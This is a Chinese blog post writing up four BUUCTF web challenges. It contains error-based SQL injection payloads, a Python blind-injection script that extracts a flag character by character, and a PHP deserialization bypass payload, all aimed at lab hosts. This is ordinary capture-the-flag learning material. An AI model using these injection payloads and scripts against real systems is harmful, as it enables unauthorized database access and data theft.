BUUctf刷题第四天

这篇博客介绍了通过SQL注入技术获取数据库信息的方法,包括利用报错注入获取数据库名、表名和列名,以及使用盲注解密部分密码。此外,还展示了如何通过调整查询条件逐步解密完整flag。文章还涉及了反序列化问题,揭示了在PHP中如何绕过私有属性限制来访问敏感信息。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]HardSQL

这道题利用了报错注入

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

但是最后flag只能出来一半不知道为啥,可能限制长度了
在这里插入图片描述
我看还有一种办法是读取右变的字母即可,拼接一下

?username=admin'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)))))%23&password=123

flag{9d7645c0-4bf5-49e8-924a-0
0-4bf5-49e8-924a-0e9765147fad}
flag{9d7645c0-4bf5-49e8-924a-0e9765147fad}
这样就行了

[CISCN2019 华北赛区 Day2 Web1]Hack World

是个盲注

import requests
import time

url = "http://1c14d657-d07e-40bd-bcfa-ba12d7f8bbcc.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,50):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		html = requests.post(url,data=payload)
		print(payload)
		if "Hello" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

一步跑不出来,分开跑就行
flag{57288c34-3961-
-4433-97cc-
7397895e8175}
flag{57288c34-3961-4433-97cc-7397895e8175}

[网鼎杯 2020 青龙组]AreUSerialz

在这里插入图片描述
看到这样的源码一看就是反序列化问题
怎么说呢还是一个传参绕过问题
知识点就是7.1+ 对属性不敏感,就是说类中的变量的属性可以是私有也可以是公有的
因为私有有不可打印字符所以is_valid()这个函数过不去
所以我们改成公有的

<?php
highlight_file(__FILE__);
class FileHandler
{
    public $op = 2;
    public $filename = "flag.php";
    public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo ($b);

payload:
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}
flag就出来了,flag 在源码中

[GXYCTF2019]BabySQli

源码有一段加密
先base32 然后在base64
select * from user where username = ‘$name’
看了wp,学到了联合注入有个技巧
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值